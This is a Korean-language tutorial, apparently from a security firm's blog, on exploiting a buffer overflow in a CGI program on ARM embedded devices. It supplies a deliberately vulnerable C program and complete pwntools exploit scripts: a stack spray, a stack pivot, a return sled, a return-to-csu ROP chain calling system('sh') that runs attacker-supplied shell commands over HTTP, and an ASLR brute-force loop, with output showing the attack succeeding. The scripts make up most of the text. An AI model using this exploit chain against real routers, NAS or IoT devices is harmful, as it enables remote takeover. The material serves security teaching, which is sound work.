+ +CGI는 웹 서버상에서 사용자 프로그램을 동작시키기 위한 조합입니다. 존재하는 많은 웹 서버 프로그램은 CGI의 기능을 이용할 수 있습니다. CGI는 환경변수나 표준입출력을 다룰 수 있는 프로그램 언어에서라면 언어의 구별을 묻지 않고 확장하여 이용하는 것이 가능하나, 실행속도나 텍스트 처리의 용이함 등의 균형에 의해 펄이 사용되는 경우가 많았습니다.[^1]
+ +CGI는 주로 Router, NAS와 같은 다양한 Embedded device, IoT Service를 위해 사용됩니다.
+ + | Server
+ |
++--------+ | +-------------+ +-------------+
+| Client |<=---HTTP---=>| HTTP Server |<=---=>| CGI Program |
++--------+ | +-------------+ +-------------+
+ |
+ |
+
Lighttpd1와 같이 HTTP 프로토콜을 처리하여 CGI 프로그램으로 전달 할 수 있는 웹 서버 역할을 하는 프로그램을 한가지 선정합니다. 그 후에 CGI 규약에 맞게 프로그램을 작성하면 됩니다. 본 챕터에서는 공격하기 위해 알아야하는 몇가지를 설명하겠습니다.
+ +환경변수에는 HTTP 프로토콜을 통해 클라이언트에게 제공받은 정보가 저장됩니다.
+ +임의로 변조된 사용자의 값이 전달 될 수 있는 벡터는 다음과 같습니다.2
+ +HTTP_COOKIE
: 클라이언트의 Cookie입니다.HTTP_USER_AGENT
: 클라이언트의 User agent입니다.QUERY_STRING
: 클라이언트에게 제공받은 GET
쿼리 문자열입니다.표준 출력을 통해 cgi 페이지로 접근한 클라이언트에게 그 내용을 전달할 수 있습니다.
+ +POST
와 같은 HTTP Method를 서비스 하기 위해 CGI에서는 표준입력을 사용합니다. POST
의 데이터를 전달 받기 위해서는 단순히 표준입력을 받기만 하면 우리는 POST
를 통해 전달 된 데이터를 받아낼 수 있습니다.
vuln.c
+ +#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+char *param;
+int param_count;
+
+static inline char h2c(char h) // F -> 15
+{
+ if (h >= 'a' && h <= 'f')
+ return h - 'a' + 0xa;
+ if (h >= 'A' && h <= 'F')
+ return h - 'A' + 0xa;
+ return h - '0';
+}
+
+char u2c(char *u) // %00 -> \x00
+{
+ char ret = 0;
+
+ if (*u == '%')
+ {
+ ret += h2c(*(u+1)) * 0x10;
+ ret += h2c(*(u+2)) * 0x01;
+ }
+
+ return ret;
+}
+
+int urldecode(char *s)
+{
+ int index1 = 0;
+ int index2 = 0;
+
+ if (!s)
+ return 1;
+
+ if (s[index2] == '?')
+ index2++;
+
+ param = s;
+ param_count = 0;
+
+ while (s[index2])
+ {
+ if (s[index2] == '%')
+ {
+ s[index1++] = u2c(s+index2);
+ index2 += 3;
+ }
+ else if (s[index2] == '&')
+ {
+ s[index1++] = '\0';
+ index2++;
+ }
+ else
+ {
+ if (s[index2] == '=')
+ param_count++;
+ s[index1++] = s[index2++];
+ }
+ }
+
+ s[index1] = '\0';
+
+ return 0;
+}
+
+int get_val(char *name, char *dest, size_t size)
+{
+ int err = 1;
+ char *param_c = param;
+ size_t param_len = strlen(param_c);
+ size_t name_len = strlen(name);
+
+ if (!param || !param_count)
+ {
+ printf("no query.\n");
+ return 1;
+ }
+
+ for (int i = 0; i < param_count; i++)
+ {
+ if (!memcmp(name, param_c, name_len) && param_c[name_len] == '=')
+ {
+ param_c += name_len + 1;
+ strncpy(dest, param_c, size);
+ err = 0;
+ break;
+ }
+ else
+ {
+ param_c += param_len+1;
+ param_len = strlen(param_c);
+ }
+ }
+
+ return err;
+}
+
+int main(int argc, char **argv, char **envp)
+{
+ char out[512];
+ char cmd[256];
+ char buf[256];
+
+ if (urldecode(getenv("QUERY_STRING")))
+ {
+ printf("urldecode error.\n");
+ return -1;
+ }
+
+ memset(out, 0, sizeof(out));
+ memset(cmd, 0, sizeof(cmd));
+ memset(buf, 0, sizeof(buf));
+
+ if (!get_val("time", buf, sizeof(buf)) && buf[0] == 'y')
+ strcat(cmd, "echo '- time ------' >> /tmp/out && date >> /tmp/out;");
+ if (!get_val("ifconfig", buf, sizeof(buf)) && buf[0] == 'y')
+ strcat(cmd, "echo '- ifconfig --' >> /tmp/out && ifconfig bond0 >> /tmp/out;");
+ if (!get_val("uname", buf, sizeof(buf)) && buf[0] == 'y')
+ strcat(cmd, "echo '- uname -----' >> /tmp/out && uname -a >> /tmp/out;");
+
+ system("rm -f /tmp/out");
+ system(cmd);
+
+ int fd;
+ if ((fd = open("/tmp/out", O_RDONLY)) < 0)
+ return -1;
+ read(fd, out, sizeof(out));
+ close(fd);
+
+ if (!get_val("comment", buf, 0x100))
+ strcat(out, buf);
+
+ puts(out);
+ return 0;
+}
+
위 샘플 코드는 시스템의 time
, ifconfig
, uname
의 결과값을 출력 해 주는 간단한 프로그램입니다.
L109
+QUERY_STRING
을 통해 인풋 받는 GET
Query의 디코딩을 처리합니다.L119~124
+time
, ifconfig
, uname
을 실행하는 명령어 조합을 cmd
버퍼에 복사합니다.L126~127
+/tmp/out
을 삭제 후 cmd
버퍼의 내용대로 명령어를 실행합니다.L129~133
+/tmp/out
파일을 읽어 out
버퍼에 복사합니다.L135~136
+comment
의 값이 유효할 경우 그 값을 out
버퍼에 복사합니다.L138
+out
을 출력합니다.L136
에서 strncat
대신 strcat
3을 사용하기 때문에, out
버퍼에 이미 많은 양의 데이터가 채워져 있을 경우의 예외를 처리하지 않습니다. 이로 인해 Buffer overflow4가 발생하게 됩니다.
취약점을 증명하기 위해 간단히 웹 브라우저를 사용할 수 있습니다.
+ + + +위는 정상적인 프로그램의 실행 흐름을 나타냅니다.
+ + + +위는 다수의 데이터를 comment
파라미터를 통해 전달 할 경우를 보여줍니다.
Lighttpd의 경우 다음과 같이 core dump를 활성화 시킬 수 있습니다. cgi 프로그램이 존재하는 디렉토리에 core dump가 생성됩니다.
+ +$ echo 'server.core-files = "enable"' >> /etc/lighttpd.conf
+$ kill -9 `pidof lighttpd`
+$ lighttpd -f /etc/lighttpd.conf -m /usr/local/lib
+
그 후, 해당 프로그램의 core dump를 확인합니다.
+ +/home/314ckC47 # ./gdb -q -c /path/to/core
+[New LWP 6007]
+Core was generated by `vuln.cgi'.
+Program terminated with signal 11, Segmentation fault.
+#0 0x61616160 in ?? ()
+(gdb) i r pc
+pc 0x61616160 0x61616160
+
$pc
레지스터가 변조 된 것을 알 수 있습니다.
일반적인 BOF 공격은 Return Oriented Programming(ROP)5을 주로 사용합니다.
+ +하지만 이번 취약점을 공격하기에는 몇가지 제약이 있습니다.
+ +이런 상황에서 구상할 수 있는 Payload는 다음과 같습니다.
+ +<= 0x00000000 0xffffffff =>
++-----+-(out)---------------+-(BP)-+-(PC)-+-----+
+| ... | ............ 'a'*63 | BASE | JUMP | ... |
++-----+---------------------+------+------+-----+
+ === Overflow ==>
+
JUMP
에는 상위 1바이트가 Null-byte인 주소값을 삽입할 수 있습니다.BASE
에는 Null-byte가 존재하지 않는 어떤 값을 삽입할 수 있습니다.이런 모든 조건을 종합 해 보았을 때, 우리는 다음과 같이 공격을 구상해야합니다.
+ +PC
를 단 한번 변조하여 공격자가 원하는 코드의 흐름을 획득 해야합니다.
+ SP
를 변조할 수 있어야 합니다.QUERY_STRING
환경변수는 스택에 저장되어 있습니다. 이를 활용하면 다음과 같이 Stack spray를 시도 할 수 있습니다.
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+def form_packet(ip, param):
+ packet = ""
+ packet += "GET http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+ packet += "Host: {}\r\n".format(ip)
+ packet += "Connection: keep-alive\r\n"
+ packet += "Content-Length: 0\r\n"
+ packet += "User-Agent: Mozilla/5.0\r\n"
+ packet += "Accept: */*\r\n"
+ packet += "Origin: http://{}\r\n".format(ip)
+ packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+ packet += "Accept-Encoding: gzip, deflate\r\n"
+ packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+ packet += "\r\n"
+ return packet.encode()
+
+def form_param(payload, spray):
+ return "&".join(["ifconfig=y", "comment="+payload, "s="+spray])
+
+def exploit(ip):
+ payload = 'a'*63 + "STCK" + "JUMP"
+ spray = 'b'*0x10000
+ param = form_param(payload, spray)
+ packet = form_packet(ip, param)
+
+ p = remote(ip, 80)
+ p.send(packet)
+ r = p.recv(1024).decode()
+ log.info(r)
+ p.close()
+
+if __name__ == "__main__":
+ if (len(sys.argv) == 2):
+ exploit(sys.argv[1])
+ else:
+ print("{} [target-ip]".format(sys.argv[0]))
+
실제로 스택에 스프레이가 되었는지 확인합니다.
+ +(gdb) x/16wx $sp+0x380
+0xbec65db8: 0x61616161 0x61616161 0x61616161 0x61616161
+0xbec65dc8: 0x64646161 0x44446464 0x73004444 0x6262623d
+0xbec65dd8: 0x62626262 0x62626262 0x62626262 0x62626262
+0xbec65de8: 0x62626262 0x62626262 0x62626262 0x62626262
+(gdb) x/16wx $sp+0x380+0x10000
+0xbec75db8: 0x62626262 0x62626262 0x62626262 0x62626262
+0xbec75dc8: 0x62626262 0x62626262 0x62626262 0x45520062
+0xbec75dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
+0xbec75de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
+(gdb)
+
스프레이가 잘 되었음을 확인 했습니다.
+ +또한 Null-byte의 삽입이 가능한지의 여부를 확인합니다.
+ +# ...
+def exploit(ip):
+ payload = 'a'*63 + 'dddd' + 'DDDD'
+ spray = '%00'*4 + 'b'*(0x10000-12)
+ param = form_param(payload, spray)
+ packet = form_packet(ip, param)
+# ...
+
4바이트의 null을 삽입 해 봅니다.
+ +(gdb) x/16wx $sp+0x380
+0xbed44db8: 0x61616161 0x61616161 0x61616161 0x61616161
+0xbed44dc8: 0x64646161 0x44446464 0x73004444 0x0000003d
+0xbed44dd8: 0x62626200 0x62626262 0x62626262 0x62626262
+0xbed44de8: 0x62626262 0x62626262 0x62626262 0x62626262
+(gdb) x/16wx $sp+0x380+0x10000
+0xbed54db8: 0x62626262 0x62626262 0x62626262 0x62626262
+0xbed54dc8: 0x62626262 0x62620062 0x62626262 0x45520062
+0xbed54dd8: 0x53455551 0x52555f54 0x762f3d49 0x2e6e6c75
+0xbed54de8: 0x3f696763 0x6f636669 0x6769666e 0x6326793d
+(gdb)
+
Null-byte를 삽입할 수 있는 영역임을 확인 했습니다.
+ +armv7에서 R11
레지스터는 x86의 ebp
와 같은 역할을 수행합니다.
(gdb) disas main
+...
+ 0x00010c9c <+624>: mov r0, r3 // -- main epilogue --
+ 0x00010ca0 <+628>: sub sp, r11, #4 // r11(bp)에서 4를 뺀 값을 sp에 저장합니다.
+ 0x00010ca4 <+632>: pop {r11, pc} // 스택에서 r11, pc를 순차적으로 pop합니다.
+...
+
이를 활용하면 Stack pointer(sp
)를 변조할 수 있습니다.
아래와 같은 순서의 명령을 수행한다고 가정합니다.
+ +### Stage 1 ######################################################
++-Code-------------+---------------------------------------------+
+| pc > 0x00010ca0 | sub sp, r11, #4 |
+| 0x00010ca4 | pop {r11, pc} |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp 0xbfff8f00 |
+| r11 0xbfff8f14 |
++----------------------------------------------------------------+
+
+### Stage 2 ######################################################
++-Code-------------+---------------------------------------------+
+| 0x00010ca0 | sub sp, r11, #4 |
+| pc > 0x00010ca4 | pop {r11, pc} |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp 0xbfff8f10 * |
+| r11 0xbfff8f14 |
++----------------------------------------------------------------+
+* r11에서 4를 뺀 값을 sp에 넣었습니다.
+
+### Stage 3 ######################################################
++-Code-------------+---------------------------------------------+
+| pc > 0x00010ca0 | sub sp, r11, #4 |
+| 0x00010ca4 | pop {r11, pc} |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp 0xbfff8f10 |
+| r11 0xbfff8f24 * |
++----------------------------------------------------------------+
+* sp(0xbfff8f10)에서 r11, pc를 pop 했습니다.
+
+### Stage 4 ######################################################
++-Code-------------+---------------------------------------------+
+| 0x00010ca0 | sub sp, r11, #4 |
+| pc > 0x00010ca4 | pop {r11, pc} |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp 0xbfff8f20 * |
+| r11 0xbfff8f24 |
++----------------------------------------------------------------+
+* r11에서 4를 뺀 값을 sp에 넣었습니다.
+ sp의 값이 우리가 원하는 값(0xbfff8f20)으로 변조되었습니다.
+
+### Stage 5 ######################################################
++-Code-------------+---------------------------------------------+
+| pc > 0x41414141 | ........................................... |
++------------------+---------------------------------------------+
++-Stack------------+----------0----------4----------8----------c-+
+| 0xbfff8f00 | 0x00000000 0x00000000 0x00000000 0x00000000 |
+| 0xbfff8f10 | 0xbfff8f24 0x00010ca0 0x00000000 0x00000000 |
+| 0xbfff8f20 | 0x41414141 0x41414141 0x41414141 0x41414141 |
++------------------+---------------------------------------------+
++-Register-------------------------------------------------------+
+| sp 0xbfff8f28 |
+| r11 0x41414141 |
++----------------------------------------------------------------+
+* pc와 r11이 변조되었습니다.
+
위와 같은 방법으로 연속적인 함수의 호출 또는 인자의 구성을 위해 SP
를 변조할 수 있습니다.
위 두가지 방법을 이용하면 다음과 같은 흐름으로 공격을 수행합니다.
+ +QUERY_STRING
을 전달함으로 BOF를 발생시키고, 스택에 ROP Payload를 spray합니다.SP
를 Stack spray된 영역으로 변조합니다.SP
가 잘못된 영역을 역참조 할 수 있습니다. 이럴경우, 1을 다시 수행합니다.다음과 같이 ASLR을 비활성화 할 수 있습니다.
+ +# echo 0 > /proc/sys/kernel/randomize_va_space
+# cat /proc/sys/kernel/randomize_va_space
+0
+
ASLR이 비활성화 된 후, 스프레이를 먼저 수행하여 core dump를 확인합니다.
+ +(gdb) x/32wx $sp+0x380
+0xbefe1d98: 0x6161616b 0x6161616c 0x6161616d 0x6161616e
+0xbefe1da8: 0xbefe1ddc 0x44444444 0x3d737300 0x41414141
+0xbefe1db8: 0x41414141 0x41414141 0x41414141 0x41414141
+0xbefe1dc8: 0x41414141 0x41414141 0x41414141 0x41414141
+0xbefe1dd8: 0x41414141 0x41414141 0x41414141 0x41414141
+
Stack spray가 0xbefe1db4
에서 시작합니다. 해당 주소로 sp
를 변조합니다.
SPRAY_LEN = 0xf000
+leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+def payload(r11, lr, dummy_len):
+ payload = cyclic(dummy_len).decode()
+ payload += purl32(r11)
+ payload += purl32(lr)
+ return payload
+
+def spray():
+ spray = "A"*SPRAY_LEN
+ return spray
+
+def exploit():
+# ...
+ stack = 0xbefe1db4+4
+ pload = payload(stack, leave, dummy_len)
+ param = form_param(pload, spray())
+ packet = form_packet(ip, param, command)
+# ...
+
위의 코드를 실행 후 다시 gdb
로 확인합니다.
(gdb) x/16wx $sp-0x10
+0xbefe1dac: 0x00010ca0 0x3d737300 0x41414141 0x41414141
+0xbefe1dbc: 0x41414141 0x41414141 0x41414141 0x41414141
+0xbefe1dcc: 0x41414141 0x41414141 0x41414141 0x41414141
+0xbefe1ddc: 0x41414141 0x41414141 0x41414141 0x41414141
+(gdb) i r pc
+pc 0x41414140 0x41414140
+(gdb)
+
정상적으로 pc
가 변조되었습니다.
Return sled를 이용하여 스프레이한 영역의 어느곳으로 sp
, pc
가 변조되어도 공격자의 ROP Payload가 실행되도록 합니다.
0x00010ca4: pop {r11, pc}
+0x000108e0: pop {r4, r11, pc}
+
위의 두 가젯을 활용합니다.
+ + ...
+| 0x00010ca4
+| 0x00010ca4
+| 0x000108e0
+| 0x00010ca4 # r4
+| 0x41414141 # r11
+V [ROP HERE] # pc
+
def spray():
+ # ...
+ spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+ spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+ spray += rop
+
+ return spray
+
Return-to-csu를 활용합니다.
+ +def chain(func, r0, r1, r2):
+ c = ''
+ c += purl32(0x00000000) # r4
+ c += purl32(func) # [r5] => r3
+ c += purl32(0x00000000) # r6
+ c += purl32(r0) # r7 => r0
+ c += purl32(r1) # r8 => r1
+ c += purl32(r2) # r9 => r2
+ c += purl32(0x00000000) # r10
+ c += purl32(csu_2) # pc
+ return c
+
+def spray():
+ #...
+ # Return-to-csu.
+ rop = purl32(csu_1)
+
+ # Set bss:0x20 to get_val address.
+ for i in range(4):
+ addr = e.bss(0x20+i)
+ value = e.symbols['get_val'] >> (i*8) & 0xff
+ rop += chain(e.got['memset'], addr, value, 1)
+
+ # get_val("t", bss:0x24, 2): returns "sh"
+ rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+ rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+ #...
+
chain()
함수는 Return-to-csu 가젯을 자동으로 구성 해 줍니다.L18~22
: bss:0x20
지점에 get_val
함수의 포인터를 작성합니다.L25
: get_val
함수를 이용해 QUERY_STRING
에서 t
쿼리의 값을 bss:0x24
지점에 작성합니다. 그 값은 "sh"
입니다.L26
: system
함수를 이용해 쉘을 실행시킵니다.ROP Payload가 수행되고 나면, 쉘 프로세스가 실행되고, 명령어 입력까지 대기합니다.
+ +POST
메소드를 이용해 Standard input으로 쉘 명령을 전달하여 실행시킵니다.
def form_packet(ip, param, content=''):
+ packet = ""
+ packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+ packet += "Host: {}\r\n".format(ip)
+ packet += "Connection: keep-alive\r\n"
+ packet += "Content-Length: {}\r\n".format(len(content))
+ packet += "User-Agent: Mozilla/5.0\r\n"
+ packet += "Accept: */*\r\n"
+ packet += "Origin: http://{}\r\n".format(ip)
+ packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+ packet += "Accept-Encoding: gzip, deflate\r\n"
+ packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+ packet += "\r\n"
+ packet += content
+ packet += "\r\n"
+ return packet.encode()
+
def exploit(ip, command):
+
+ # ifconfig's output length is not fixed.
+ # So, we need to get the buffer first to calculate
+ # the overflow size.
+ log.info("Getting buffer.")
+ packet = form_packet(ip, form_param())
+ p = remote(ip, 80)
+ p.send(packet)
+ r = p.recv().decode()
+ r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+ dummy_len = 0x204 - len(r)
+ p.close()
+
+ log.info("Exploit.")
+ stack = 0xbefe1db4+4
+ pload = payload(stack, leave, dummy_len)
+ param = form_param(pload, spray())
+ packet = form_packet(ip, param, command)
+ p = remote(ip, 80)
+ p.send(packet)
+ p.close()
+
+ log.info("Success!")
+
ifconfig
명령의 출력값의 길이가 고정되어있지 않습니다.
오버플로우 사이즈를 안정적으로 계산하기 위해 ifconfig
명령 결과 버퍼의 길이값을 측정하고, 계산합니다.
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+# Globals & Defines
+spray_fix = ''
+SPRAY_LEN = 0xf000
+EADDR_LEN = 12
+
+# Gadgets
+sled_1 = 0x00010ca4 # pop {r11, pc}
+sled_2 = 0x000108e0 # pop {r4, r11, pc}
+csu_1 = 0x00010d28
+csu_2 = 0x00010d0c
+leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+# ETC.
+str_t = 0x10e66
+
+def purl32(value):
+ a = (value & 0x000000ff) >> 0
+ b = (value & 0x0000ff00) >> 8
+ c = (value & 0x00ff0000) >> 16
+ d = (value & 0xff000000) >> 24
+ return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
+
+def form_packet(ip, param, content=''):
+ packet = ""
+ packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+ packet += "Host: {}\r\n".format(ip)
+ packet += "Connection: keep-alive\r\n"
+ packet += "Content-Length: {}\r\n".format(len(content))
+ packet += "User-Agent: Mozilla/5.0\r\n"
+ packet += "Accept: */*\r\n"
+ packet += "Origin: http://{}\r\n".format(ip)
+ packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+ packet += "Accept-Encoding: gzip, deflate\r\n"
+ packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+ packet += "\r\n"
+ packet += content
+ packet += "\r\n"
+ return packet.encode()
+
+def form_param(payload='', spray=''):
+ p = ["t=sh", "ifconfig=y"]
+ if payload:
+ p.append("comment="+payload)
+ if spray:
+ p.append("ss="+spray)
+ return "&".join(p)
+
+def payload(r11, lr, dummy_len=54):
+ payload = cyclic(dummy_len).decode()
+ payload += purl32(r11)
+ payload += purl32(lr)
+ return payload
+
+def chain(func, r0, r1, r2):
+ c = ''
+ c += purl32(0x00000000) # r4
+ c += purl32(func) # [r5] => r3
+ c += purl32(0x00000000) # r6
+ c += purl32(r0) # r7 => r0
+ c += purl32(r1) # r8 => r1
+ c += purl32(r2) # r9 => r2
+ c += purl32(0x00000000) # r10
+ c += purl32(csu_2) # pc
+ return c
+
+def spray():
+
+ # If we already got spray buffer, use it.
+ global spray_fix
+ if len(spray_fix):
+ return spray_fix
+
+ # Return-to-csu.
+ rop = purl32(csu_1)
+
+ # Set bss:0x20 to get_val address.
+ for i in range(4):
+ addr = e.bss(0x20+i)
+ value = e.symbols['get_val'] >> (i*8) & 0xff
+ rop += chain(e.got['memset'], addr, value, 1)
+
+ # get_val("t", bss:0x24, 2): returns "sh"
+ rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+
+ # system("sh")
+ rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+ # Forming spray.
+ spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
+ spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+ spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+ spray += rop
+
+ # Fix the spray buffer.
+ spray_fix = spray
+
+ return spray
+
+def exploit(ip, command):
+
+ # ifconfig's output length is not fixed.
+ # So, we need to get the buffer first to calculate
+ # the overflow size.
+ log.info("Getting buffer.")
+ packet = form_packet(ip, form_param())
+ p = remote(ip, 80)
+ p.send(packet)
+ r = p.recv().decode()
+ r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+ dummy_len = 0x204 - len(r)
+ p.close()
+
+ log.info("Exploit.")
+ stack = 0xbefe1db4+4
+ pload = payload(stack, leave, dummy_len)
+ param = form_param(pload, spray())
+ packet = form_packet(ip, param, command)
+ p = remote(ip, 80)
+ p.send(packet)
+ p.close()
+
+ log.info("Success!")
+
+if __name__ == "__main__":
+ if (len(sys.argv) == 3):
+ exploit(sys.argv[1], sys.argv[2])
+ else:
+ print("{} [target-ip] [shell command]".format(sys.argv[0]))
+
bc@machine $ ./exploit.py 172.16.13.9 'echo PWNED > /tmp/pwned'
+[*] '/mnt/c/Users/314ckC47/Documents/CGI Exploitation/source/vuln'
+ Arch: arm-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: No PIE (0x10000)
+[*] Getting buffer.
+[*] Exploit.
+[*] Success!
+
/home/314ckC47 $ cat /tmp/pwned
+PWNED
+
다음과 같이 ASLR을 활성화합니다.
+ +# echo 0 > /proc/sys/kernel/randomize_va_space
+# cat /proc/sys/kernel/randomize_va_space
+0
+
sp
가 참조하는 지점에 대해 Brute-forcing을 수행합니다.
+Brute-forcing의 종료 조건을 위해 ROP Payload가 성공적으로 수행 될 경우 프로그램을 abort시켜 500 Internal error를 발생시키지 않도록 합니다.
# system("sh")
+ rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+ # abort
+ rop += "AAAA"*7 + purl32(abort)
+
#!/usr/bin/python3
+
+from pwn import *
+
+e = ELF("./vuln")
+
+# Globals & Defines
+spray_fix = ''
+SPRAY_LEN = 0xf000
+EADDR_LEN = 12
+
+# Gadgets
+sled_1 = 0x00010ca4 # pop {r11, pc}
+sled_2 = 0x000108e0 # pop {r4, r11, pc}
+csu_1 = 0x00010d28
+csu_2 = 0x00010d0c
+leave = 0x00010ca0 # sub sp, r11, 4; pop {r11, pc}
+
+# ETC.
+str_t = 0x00010e66
+abort = 0x0001055c
+
+def purl32(value):
+ a = (value & 0x000000ff) >> 0
+ b = (value & 0x0000ff00) >> 8
+ c = (value & 0x00ff0000) >> 16
+ d = (value & 0xff000000) >> 24
+ return "%{:02x}%{:02x}%{:02x}%{:02x}".format(a,b,c,d)
+
+def form_packet(ip, param, content=''):
+ packet = ""
+ packet += "POST http://{}/vuln.cgi?{} HTTP/1.1\r\n".format(ip, param)
+ packet += "Host: {}\r\n".format(ip)
+ packet += "Connection: keep-alive\r\n"
+ packet += "Content-Length: {}\r\n".format(len(content))
+ packet += "User-Agent: Mozilla/5.0\r\n"
+ packet += "Accept: */*\r\n"
+ packet += "Origin: http://{}\r\n".format(ip)
+ packet += "Referer: http://{}/home.cgi\r\n".format(ip)
+ packet += "Accept-Encoding: gzip, deflate\r\n"
+ packet += "Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
+ packet += "\r\n"
+ packet += content
+ packet += "\r\n"
+ return packet.encode()
+
+def form_param(payload='', spray=''):
+ p = ["t=sh", "ifconfig=y"]
+ if payload:
+ p.append("comment="+payload)
+ if spray:
+ p.append("ss="+spray)
+ return "&".join(p)
+
+def payload(r11, lr, dummy_len=54):
+ payload = cyclic(dummy_len).decode()
+ payload += purl32(r11)
+ payload += purl32(lr)
+ return payload
+
+def chain(func, r0, r1, r2):
+ c = ''
+ c += purl32(0x00000000) # r4
+ c += purl32(func) # [r5] => r3
+ c += purl32(0x00000000) # r6
+ c += purl32(r0) # r7 => r0
+ c += purl32(r1) # r8 => r1
+ c += purl32(r2) # r9 => r2
+ c += purl32(0x00000000) # r10
+ c += purl32(csu_2) # pc
+ return c
+
+def spray():
+
+ # If we already got spray buffer, use it.
+ global spray_fix
+ if len(spray_fix):
+ return spray_fix
+
+ # Return-to-csu.
+ rop = purl32(csu_1)
+
+ # Set bss:0x20 to get_val address.
+ for i in range(4):
+ addr = e.bss(0x20+i)
+ value = e.symbols['get_val'] >> (i*8) & 0xff
+ rop += chain(e.got['memset'], addr, value, 1)
+
+ # get_val("t", bss:0x24, 2): returns "sh"
+ rop += chain(e.bss(0x20), str_t, e.bss(0x24), 2) # get_val
+
+ # system("sh")
+ rop += chain(e.got['system'], e.bss(0x24), 0, 0)
+
+ # abort
+ rop += "AAAA"*7 + purl32(abort)
+
+ # Forming spray.
+ spray = 'a' * (SPRAY_LEN % EADDR_LEN) # padd
+ spray += purl32(sled_1) * (((SPRAY_LEN-len(rop)) // EADDR_LEN)-3)
+ spray += purl32(sled_2) + purl32(sled_1) + "AAAA"
+ spray += rop
+
+ # Fix the spray buffer.
+ spray_fix = spray
+
+ return spray
+
+def exploit(ip, command):
+
+ # ifconfig's output length is not fixed.
+ # So, we need to get the buffer first to calculate
+ # the overflow size.
+ log.info("Getting buffer.")
+ packet = form_packet(ip, form_param())
+ p = remote(ip, 80)
+ p.send(packet)
+ r = p.recv().decode()
+ r = r[r.find("- ifconfig"):r.find("\n\n\n")+2]
+ dummy_len = 0x204 - len(r)
+ p.close()
+
+ log.info("Exploit.")
+ while True:
+ stack = 0xbefe1dd4
+ pload = payload(stack, leave, dummy_len)
+ param = form_param(pload, spray())
+ packet = form_packet(ip, param, command)
+ p = remote(ip, 80)
+ p.send(packet)
+ r = p.recv()
+ p.close()
+ if r.find(b"200 OK") != -1:
+ break
+
+ log.info("Success!")
+
+if __name__ == "__main__":
+ if (len(sys.argv) == 3):
+ exploit(sys.argv[1], sys.argv[2])
+ else:
+ print("{} [target-ip] [shell command]".format(sys.argv[0]))
+
CGI를 공격하는 방법에 대해 알아보았습니다. 일반적으로 웹 CGI 프로그램 혹은 CGI는 문자열을 처리하는 코드가 많습니다. 문자열을 처리하는 코드에서 주로 발생할 수 있는 String copy buffer overflow의 공격 방법에 대해 알아보았고, 안정적인 공격 코드를 작성하는 법에 대해 알아 보았습니다.
+ +추가적인 질문 사항과 수정사항은 dhkim@stealien.com으로 남겨 주시면 감사하겠습니다.
+ +https://www.lighttpd.net/ ↩
